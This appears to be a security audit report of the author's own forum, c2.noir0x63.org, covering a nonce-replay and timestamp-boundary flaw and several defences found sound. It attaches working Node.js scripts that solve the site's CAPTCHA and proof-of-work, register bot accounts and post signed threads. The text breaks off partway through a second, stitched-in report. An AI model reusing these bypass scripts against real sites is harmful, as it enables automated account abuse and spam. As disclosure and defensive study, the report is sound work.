C2 Forum Audit — Whitebox Pt 2: State Corruption & Nonce Reuse

Author
Eduardo Camarillo [Noir0x63]
Date
Version
PENTEST REPORT

Quick Answer

Deep dive into cryptographic validation layer. Race conditions and RAM eviction windows allowing signature replay and state corruption.

Key Takeaways

  • Category: C2 Forum
  • Version: PENTEST REPORT
  • Published: 2026-06-27
  • Keywords: state corruption attack, nonce reuse vulnerability, race condition security, cryptographic validation, signature replay attack

Whitebox Pt 2: State Corruption & Nonce Reuse

Status:Estado: CRITICAL
Target:Objetivo: c2.noir0x63.org
Auditor:Auditor: Noir0x63

6. Phase 4: Exploitation — Challenge #3 (State Corruption)

6.1 Vulnerability Analysis

The system implements anti-replay protection via:

const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { const now = Date.now(); for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); 

Two vulnerabilities:

  1. Nonces only in RAM: They do not persist in SQLite. Cleanup deletes them after 5 minutes.
  2. Boundary check with >: Timestamps on the exact 5-minute boundary PASS the validation.

6.2 Proof of Concept — Nonce Reuse

A test script was designed with 4 scenarios:

const token = await login(usuario); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const res1 = await createThread(token, nonce, timestamp); const res2 = await createThread(token, nonce, timestamp); const futureTs = new Date(Date.now() + 300000).toISOString(); const res3 = await createThread(token, crypto.randomUUID(), futureTs); const pastTs = new Date(Date.now() - 301000).toISOString(); const res4 = await createThread(token, crypto.randomUUID(), pastTs); 

6.3 Test Results

TestDescriptionResultCode
1Normal creation with unique nonce✅ Accepted201
2Immediate reuse of the same nonce✅ Blocked (FRESHNESS_CHECK)400
3Timestamp exactly 5 min in the futureACCEPTED (VULNERABLE)201
4Timestamp 5min+1s in the past✅ Blocked (FRESHNESS_CHECK)400

6.4 Complete Attack Vector

1. Atacante registra usuario legítimo (vía Sybil bypass) 2. Atacante crea thread legítimo con nonce X 3. Atacante captura nonce X de la respuesta o del feed público 4. Atacante espera 5+ minutos 5. El servidor elimina nonce X del Map (cleanup automático) 6. Atacante envía NUEVA petición con: - Mismo nonce X - Diferente título/contenido (payload mutado) - Nueva firma ECDSA (válida para su propia clave) - Nuevo timestamp (dentro de ventana) 7. validateFreshness() retorna true (nonce X ya no está en Map) 8. El servidor acepta y PERSISTE el payload mutado en DB 

6.5 Implications

  • //Nonce Replay: An attacker can create unlimited threads/replies with the same nonce, as long as they wait ~5 minutes between each.
  • //Integrity Violation: The system promises "replay protection" but does not enforce it for windows >5 minutes.
  • //Deniability: A documented nonce in a legitimate thread can be reused to create malicious content, and the nonce would appear in both DB records.

7. Phase 5: Non-Exploitable Vectors

7.1 Signature Forgery (ECDSA P-256)

No exploitable vulnerability was found:

AttemptTechniqueResult
Weak cryptographic noncek reused attack❌ No access to multiple signatures from the same user
Extractable keyextractable: false bypass❌ WebCrypto respects non-extractable
verify implementationcrypto.createVerify❌ Native Node.js, no known vulnerabilities
Key recoverySignature analysis❌ Only 1 signature available (Noir's Manifesto)

7.2 SQL Injection

All queries use positional parameters:

db.get('SELECT * FROM users WHERE codename = ?', [codename], ...) db.all('SELECT * FROM threads WHERE author = ?', [author], ...) 

Not exploitable: sqlite3 with ? parameters completely prevents SQL injection.

7.3 Path Traversal

Double filter in global gateway:

app.use((req, res, next) => { const decodedPath = decodeURIComponent(req.path); if (req.path.includes('..') || decodedPath.includes('..')) { return res.status(400).json({ error: 'PATH_TRAVERSAL_DETECTED' }); } next(); }); 

Not exploitable: Verifies both the raw path and decoded path.

7.4 XSS (Cross-Site Scripting)

Multiple defense layers:

  1. CSP: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net ...
  2. DOMPurify: Sanitization of HTML rendered from Markdown
  3. textContent: Preferred over innerHTML for user data
  4. html-escape: Secondary escaping layer (with regex bugfix)

Not exploitable: CSP blocks any unauthorized inline script.

7.5 Escalation to COMMANDER

The COMMANDER role is assigned exclusively via setup.js on the physical server:

const existing = await db.get("SELECT codename FROM users WHERE role = 'COMMANDER'"); if (existing) { console.error(\`[ABORT] Commander "\${existing.codename}" is already initialized.\`); process.exit(1); } 

Not remotely exploitable: There is no HTTP endpoint to assign roles.

7.6 Password Brute Force

  • //scrypt N=131072: ~100ms per verification (extremely slow)
  • //Rate limiting: 10 attempts / 15 minutes
  • //Session tokens: crypto.randomBytes(32) = 256 bits of entropy

Not exploitable: Rate limiting + scrypt make any brute force attack unfeasible.

7.7 Token Manipulation

Tokens are NOT JWTs:

const token = crypto.randomBytes(32).toString('hex'); 

Not exploitable: No structure to decode or manipulate. No signature to verify.


8. Exploitation Chronology

StepActionDurationFile
1Target reconnaissance5 min-
2Fetch Manifesto1 min-
3API endpoint mapping5 min-
4Headers and rate limits analysis5 min-
5Searching the repository on GitHub2 min-
6Reading server.js, captcha.js, setup.js15 min-
7First attempt of CAPTCHA solver (heuristic)10 minexploit.js
8Second attempt (WebCrypto + PoW)10 minexploit2.mjs
9SVG pattern analysis in Python10 minsolve_captcha.py
10Inverse SVG transform (failed)20 minsolve_captcha_final.mjs
11Transform debug → key discovery15 mintest_transform.mjs
12Direct path data matching (SUCCESSFUL)5 mindebug_captcha2.mjs
13Automated registration SUCCESSFUL2 minfinal_exploit.mjs
14Login + thread creation SUCCESSFUL2 minfinal_exploit2.mjs
15Nonce reuse test (State Corruption)10 minnonce_test.mjs
16ECDSA signature debug5 mindebug_sig.mjs

Total Time: ~2 hours (including debugging)


9. Timeline

T+00:00 → Primer fetch del target T+00:05 → Manifesto leído: 3 desafíos identificados T+00:10 → Endpoints mapeados, rate limits descubiertos T+00:15 → Repositorio encontrado en GitHub T+00:30 → Código fuente analizado: CHAR_PATHS descubiertos T+00:40 → Primer exploit intentado (fallo CAPTCHA) T+00:50 → Análisis de patrones SVG T+01:10 → Debug de transformada SVG → path data es raw T+01:15 → CAPTCHA solver funcional T+01:20 → REGISTRO AUTOMATIZADO EXITOSO T+01:22 → LOGIN + THREAD CREADO T+01:35 → Nonce reuse test: estado vulnerable confirmado T+02:00 → Reporte finalizado 

10. Generated Artifacts

10.1 PoCs

#FileDescription
1poc/01_sybil_registration.mjsSybil registration: CAPTCHA+PoW bypass + registration
2poc/02_sybil_full_exploit.mjsFull exploit: registration + login + thread creation
3poc/03_nonce_reuse_test.mjsNonce reuse and boundary timestamp test
4poc/04_captcha_solver.mjsStandalone CAPTCHA solver with CHAR_PATHS
5poc/05_captcha_debug.mjsSVG character matching debug
6poc/06_sig_verification_test.mjsECDSA signature verification test

10.2 Dependencies

  • //Node.js ≥ 18 (requires native WebCrypto API: globalThis.crypto.subtle)
  • //Native modules: crypto, https (built-in, no npm install required)
  • //Does not require: external libraries, third-party APIs, or Tesseract

10.3 Execution

# Registro automatizado completo node poc/02_sybil_full_exploit.mjs # Test de nonce reuse node poc/03_nonce_reuse_test.mjs # CAPTCHA solver standalone node poc/04_captcha_solver.mjs 

11. Conclusions

11.1 Summary of Findings

The C2 Forum system implements a robust security architecture with multiple defense layers. However, vulnerabilities were identified in 2 of the 3 challenge areas:

AreaDefenseBypass
RegistrationPoW SHA-256(dif 5)~1M CPU-side hashes (~1s)
RegistrationSVG Vector CAPTCHA without <text>Path matching with ±0.5px tolerance
RegistrationHoneypot fieldemail: ""
Anti-replayUUIDv4 NoncesRAM only with 5min cleanup
Anti-replayTimestamp 5min windowBoundary check with > instead of >=
Authenticationscrypt N=131072Not exploitable
AuthorizationCOMMANDER role CLI-onlyNot exploitable
IntegrityECDSA P-256 SignaturesNot exploitable

11.2 Lessons for Defenders

  1. Vector CAPTCHA: If paths are generated from fixed templates with predictable jitter and exposed to the client, an attacker with source access can reconstruct the exact templates and perform deterministic matching. Solution: use procedural character generation (not fixed templates) or server-side validation with cryptographic challenge-response.

  2. Anti-replay Nonces: Store in DB with a UNIQUE constraint, not just in RAM. The lifetime of a nonce should be indefinite (or at least larger than the system's active window).

  3. Boundary Conditions: Use >= instead of > for temporal tolerance boundaries.

  4. Honeypot: Consider more robust techniques like hashcash or asymmetric proofs of work.

  5. Layered Security: Despite the vulnerabilities found, the system is more secure than most traditional forums. The combination of ECDSA + scrypt + CSP + rate limiting + httpOnly cookies + anti-CSRF makes most common attack vectors unfeasible.

11.3 Final System State

Following the proofs of concept, a user (xlawt30e4) and a public thread were successfully created, demonstrating the automated registration capability. No destructive actions were performed, and no data from other users was modified.


Report generated on June 27, 2026 Tools: Node.js v25.9.0, Python 3.14, curl Target: https://c2.noir0x63.org

Attached Exploit PoCs (Phase 4)

// poc/03_nonce_reuse_test.mjs (Replay Attack & Nonce Reuse Exploitation)
import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'Q':[['M',3,0],['L',7,0],['L',10,3],['L',10,7],['L',7,10],['L',3,10],['L',0,7],['L',0,3],['L',3,0],['M',6,6],['L',10,10]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c,cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds; function fetch(m,p,b,h) { return new Promise((r,j) => { const u = new URL(p, API); const o = { hostname: u.hostname, port: 443, path: u.pathname+u.search, method: m, headers: {'Content-Type':'application/json','User-Agent':'Mozilla/5.0','Accept':'application/json',...h||{}} }; const q = https.request(o, (s) => { let d=''; s.on('data',c=>d+=c); s.on('end',()=>{try{r({s:s.statusCode,b:JSON.parse(d)})}catch{r({s:s.statusCode,b:d})}}); }); q.on('error',j); if(b) q.write(JSON.stringify(b)); q.end(); }); } function solveCaptcha(svg) { const s = Buffer.from(svg,'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let r='', m; while ((m = re.exec(s)) !== null) { const d = m[1].replace(/s+/g,' ').trim(); const pts = (d.match(/[ML]s+[d.-]+s+[d.-]+/g)||[]).map(p => {const[c,x,y]=p.split(/s+/); return {cmd:c,x:Math.round(parseFloat(x)*100)/100,y:Math.round(parseFloat(y)*100)/100};}); let best='X', bs=Infinity; for (const [ch,tpl] of Object.entries(templates)) { if (pts.length !== tpl.length) continue; let score=0, ok=true; for (let i=0; i<tpl.length; i++) { if (pts[i].cmd !== tpl[i][0]) { ok=false; break; } const dx=Math.abs(pts[i].x-tpl[i][1]), dy=Math.abs(pts[i].y-tpl[i][2]); if (dx>0.5||dy>0.5) { ok=false; break; } score+=dx+dy; } if (ok&&score<bs) { bs=score; best=ch; } } r+=best; } return r; } async function main() { const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); console.log('[1] CAPTCHA'); const cap = await fetch('GET','/api/auth/captcha'); const captchaText = solveCaptcha(cap.b.captchaSvg); console.log(' text:', captchaText); console.log('[2] PoW'); let powSalt = '0'; for (let i=0; i<20000000; i++) { if (crypto.createHash('sha256').update(cap.b.powChallenge+i).digest('hex').startsWith('0'.repeat(5))) { powSalt=String(i); break; } } console.log(' salt:', powSalt); console.log('[3] KeyGen'); const kp = await subtle.generateKey({name:'ECDSA',namedCurve:'P-256'},true,['sign','verify']); const pubB64 = Buffer.from(await subtle.exportKey('spki',kp.publicKey)).toString('base64'); const privB64 = Buffer.from(await subtle.exportKey('pkcs8',kp.privateKey)).toString('base64'); const user = 'z'+Date.now().toString(36).substring(4)+crypto.randomBytes(2).toString('hex'); const pass = crypto.randomBytes(16).toString('hex'); const name = user.toLowerCase(); const DOMAIN = 'c2.secure.forum'; console.log('[4] PBKDF2'); const baseKey = await subtle.importKey('raw',enc.encode(pass),{name:'PBKDF2'},false,['deriveKey','deriveBits']); const authKey = Array.from(new Uint8Array(await subtle.deriveBits({name:'PBKDF2',salt:enc.encode(DOMAIN+':'+name+':auth:v2'),iterations:600000,hash:'SHA-256'},baseKey,256))).map(b=>b.toString(16).padStart(2,'0')).join(''); const aesKey = await subtle.deriveKey({name:'PBKDF2',salt:enc.encode(DOMAIN+':'+name+':enc:v2'),iterations:600000,hash:'SHA-256'},baseKey,{name:'AES-GCM',length:256},true,['encrypt','decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPrivStr = Buffer.from(iv).toString('base64')+':'+Buffer.from(await subtle.encrypt({name:'AES-GCM',iv},aesKey,await subtle.exportKey('pkcs8',kp.privateKey))).toString('base64'); console.log('[5] Register:', user); const reg = await fetch('POST','/api/auth/register',{codename:user,password:authKey,publicKeySPKI:pubB64,encryptedPrivateKey:encPrivStr,email:'',captchaInput:captchaText,captchaToken:cap.b.captchaToken,powChallenge:cap.b.powChallenge,powSalt}); if (reg.s!==201) { console.log(' FAIL:',reg.b); return; } console.log(' OK'); console.log('[6] Login'); const login = await fetch('POST','/api/auth/login',{codename:user,password:authKey}); if (login.s!==200) { console.log(' FAIL:',login.b); return; } const token = login.b.token; console.log(' token:', token.substring(0,16)+'...'); const nonce = crypto.randomUUID(); const ts = new Date().toISOString(); const con1 = 'Nonce test first use'; console.log(' [Test 1] Create thread with nonce:', nonce); const po1 = {op:'create-thread',title:'Nonce Test 1',content:con1,author:user,nonce,timestamp:ts}; const p1 = JSON.stringify(po1, Object.keys(po1).sort()); const s1 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p1))).toString('base64'); const t1 = await fetch('POST','/api/threads',{title:'Nonce Test 1',content:con1,category:'web-security',signature:s1,nonce,timestamp:ts},{'Authorization':'Bearer '+token}); console.log(' Status:', t1.s, JSON.stringify(t1.b)); console.log(' [Test 2] Reuse same nonce (should fail with FRESHNESS_CHECK):'); const con2 = 'Second use of same nonce - should be rejected'; const po2 = {op:'create-thread',title:'Nonce Test 2',content:con2,author:user,nonce,timestamp:ts}; const p2 = JSON.stringify(po2, Object.keys(po2).sort()); const s2 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p2))).toString('base64'); const t2 = await fetch('POST','/api/threads',{title:'Nonce Test 2',content:con2,category:'web-security',signature:s2,nonce,timestamp:ts},{'Authorization':'Bearer '+token}); console.log(' Status:', t2.s, JSON.stringify(t2.b)); const con3 = '5 minute future boundary test'; console.log(' [Test 3] Create thread with timestamp exactly 5min in future (boundary - should pass):'); const futureTs = new Date(Date.now() + 5*60*1000).toISOString(); const nonce2 = crypto.randomUUID(); const po3 = {op:'create-thread',title:'Boundary Test',content:con3,author:user,nonce:nonce2,timestamp:futureTs}; const p3 = JSON.stringify(po3, Object.keys(po3).sort()); const s3 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p3))).toString('base64'); const t3 = await fetch('POST','/api/threads',{title:'Boundary Test',content:con3,category:'web-security',signature:s3,nonce:nonce2,timestamp:futureTs},{'Authorization':'Bearer '+token}); console.log(' Status:', t3.s, JSON.stringify(t3.b)); const con4 = '5 minutes + 1 second past'; console.log(' [Test 4] Timestamp 5min+1s in past (should fail FRESHNESS_CHECK):'); const pastTs = new Date(Date.now() - 5*60*1000 - 1000).toISOString(); const nonce3 = crypto.randomUUID(); const po4 = {op:'create-thread',title:'Past Test',content:con4,author:user,nonce:nonce3,timestamp:pastTs}; const p4 = JSON.stringify(po4, Object.keys(po4).sort()); const s4 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p4))).toString('base64'); const t4 = await fetch('POST','/api/threads',{title:'Past Test',content:con4,category:'web-security',signature:s4,nonce:nonce3,timestamp:pastTs},{'Authorization':'Bearer '+token}); console.log(' Status:', t4.s, JSON.stringify(t4.b)); console.log(' === Results Summary ==='); console.log('Nonce reuse immediately: ', t2.s===400 && t2.b?.error?.includes('FRESHNESS') ? 'BLOCKED (expected)' : 'PASSED (vulnerability!)'); console.log('5min future boundary: ', t3.s===201 ? 'PASSED' : 'BLOCKED - '+JSON.stringify(t3.b)); console.log('5min+1s past: ', t4.s===400 && t4.b?.error?.includes('FRESHNESS') ? 'BLOCKED (expected)' : 'PASSED - '+JSON.stringify(t4.b)); } main().catch(e=>console.error('Err:',e)); 
// poc/06_sig_verification_test.mjs (Crypto State Validation)
import https from 'https'; import crypto from 'crypto'; async function main() { const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); const kp = await subtle.generateKey({name:'ECDSA',namedCurve:'P-256'},true,['sign','verify']); const pubSpki = await subtle.exportKey('spki', kp.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', kp.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); console.log('PubKey SPKI base64:', pubB64); console.log('PrivKey PKCS8 base64:', privB64); const title = 'Nonce Test 1'; const content = 'First use of nonce'; const author = 'testuser'; const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const payloadObj = { op: 'create-thread', title, content, author, nonce, timestamp }; const payload = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); console.log('Payload:', payload); const sigBytes = await subtle.sign({name:'ECDSA',hash:'SHA-256'}, kp.privateKey, enc.encode(payload)); const sigB64 = Buffer.from(sigBytes).toString('base64'); console.log('Signature (WebCrypto):', sigB64); try { const clean = pubB64.replace(/[s ]+/g, ''); const pem = \`-----BEGIN PUBLIC KEY----- \${clean.match(/.{1,64}/g).join(' ')} -----END PUBLIC KEY-----\`; console.log('PEM format:', pem.substring(0, 50) + '...'); const verify = crypto.createVerify('SHA256'); verify.update(payload, 'utf8'); verify.end(); const result = verify.verify( { key: pem, format: 'pem', type: 'spki', dsaEncoding: 'ieee-p1363' }, Buffer.from(sigB64, 'base64') ); console.log('Node crypto verify result:', result); const wcResult = await subtle.verify({name:'ECDSA',hash:'SHA-256'}, kp.publicKey, sigBytes, enc.encode(payload)); console.log('WebCrypto verify result:', wcResult); } catch (e) { console.error('Verify error:', e.message); } console.log(' --- Alternative payload constructions ---'); const po1 = {op:'create-thread', title, content, author, nonce, timestamp}; const p1 = JSON.stringify(po1, Object.keys(po1).sort()); console.log('p1:', p1); console.log(' matches original:', p1 === payload); const ts = timestamp; const po2 = {op:'create-thread', title, content, author, nonce, timestamp: ts}; const p2 = JSON.stringify(po2, Object.keys(po2).sort()); console.log('p2:', p2); console.log(' matches original:', p2 === payload); } main().catch(e => console.error('Error:', e)); 
` }; window.ARTICLES_CONTENT['c2-pentest-bbox-1'] = { title: "C2 Forum Audit — Blackbox Pt 1: Bezier Curve Vectors & Automated Solvers", date: "2026-06-27", author: "Eduardo Camarillo [Noir0x63]", version: "PENTEST REPORT", content: `

Blackbox Pt 1: Bezier Curves & CAPTCHA Solvers

Status:Estado: PATCHED - TESTING
Target:Objetivo: c2.noir0x63.org (v2.0)
Auditor:Auditor: Noir0x63

Attached Exploit PoCs (Phase 7)

// poc/04_captcha_solver.mjs (Initial Bezier Parse Logic)
import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; function buildTemplates() { const templates = {}; for (const [char, commands] of Object.entries(CHAR_PATHS)) { const points = []; for (const [cmd, x, y] of commands) { points.push({ cmd, x, y }); } templates[char] = points; } return templates; } const TEMPLATES = buildTemplates(); function fetch(method, path, body = null) { return new Promise((resolve, reject) => { const url = new URL(path, API); const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname + url.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', }, }, (res) => { let d = ''; res.on('data', c => d += c); res.on('end', () => { try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d) }); } catch { resolve({ status: res.statusCode, headers: res.headers, body: d }); } }); }); req.on('error', reject); if (body) req.write(JSON.stringify(body)); req.end(); }); } function parseSvgCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const chars = []; const re = /<gs+transform="([^"]*)"[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let m; while ((m = re.exec(svg)) !== null) { const d = m[2].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const points = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: parseFloat(x), y: parseFloat(y) }; }); const normPoints = points.map(p => ({ cmd: p.cmd, x: Math.round(p.x * 100) / 100, y: Math.round(p.y * 100) / 100, })); chars.push(normPoints); } return chars; } function matchCharacter(normPoints) { let bestChar = 'X'; let bestScore = Infinity; for (const [char, template] of Object.entries(TEMPLATES)) { if (normPoints.length !== template.length) continue; let score = 0; let valid = true; for (let i = 0; i < template.length; i++) { const np = normPoints[i]; const tp = template[i]; if (np.cmd !== tp[0]) { valid = false; break; } const dx = Math.abs(np.x - tp[1]); const dy = Math.abs(np.y - tp[2]); if (dx > 0.5 || dy > 0.5) { valid = false; break; } score += dx + dy; } if (valid && score < bestScore) { bestScore = score; bestChar = char; } } return bestChar; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function fullExploit() { console.log('[1] Fetch CAPTCHA challenge'); const cap = await fetch('GET', '/api/auth/captcha'); if (cap.status !== 200) { console.log('FAIL:', cap.body); return; } const { captchaSvg, captchaToken, powChallenge, powDifficulty } = cap.body; console.log(\` powChallenge=\${powChallenge} difficulty=\${powDifficulty}\`); console.log('[2] Solve PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log(\` powSalt=\${powSalt}\`); console.log('[3] Solve CAPTCHA'); const charPoints = parseSvgCaptcha(captchaSvg); console.log(\` Found \${charPoints.length} characters\`); let captchaText = ''; for (let i = 0; i < charPoints.length; i++) { const ch = matchCharacter(charPoints[i]); captchaText += ch; 